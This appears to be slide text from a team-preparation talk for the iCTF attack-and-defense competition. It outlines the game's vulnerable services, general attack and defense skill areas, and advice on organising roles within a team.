Teams

Firewall IDS/IPS Services – Attack and Defense

PHP, Perl, Ruby, Python, Java Analysis

Wireshark, etc. C/ASM Operating System

Apache, OS Configuration, etc.

iCTF

Came from Defcon iCTF ran by UCSB No test required – just edu “Largest existing live security exercise”

Test Skills of understanding security

What is it?

A variety of Internet enabled services Services comprised of:

PHP Perl Shell Scripts C++ MySQL Apache/lighttpd SSH XML RPC FTP

What to do

All services should be protected Patch IPS/IDS

All services should be attacked

Blender

SNAT with weights?

Attack Techniques

• Buffer overflows • Format string attacks • Shell attacks • Race conditions • Misconfigurations • Authentication attacks • Web-based attacks

Directory traversal Cookie-based services Cross-site scripting Server-side applications

• Lack of parameter validation (e.g., SQL injection)

Skills Scanning • Firewalling • Intrusion Detection • Vulnerability analysis • For each type of vulnerability

How to identify a vulnerability How to exploit a vulnerability How to patch a vulnerability

(without disrupting the get/set flag methods) How to detect a vulnerability

• For each service How to monitor the requests to a service How to monitor the execution of a request Protocol security analysis Application security analysis

Vigna's Suggestions

Have a structured team with clear responsibilities The Perl/Python/PHP group The SQL/database group The flaw-finder group The firewall group The IDS group The C-based exploit group

• Have a leader responsible for coordination and integration • Have a way to intercept socket connections and apply

regexes/substitutions • Have vulnerability analysis tools handy • Have a “human IDS” • Remember: the game lasts only a few hours
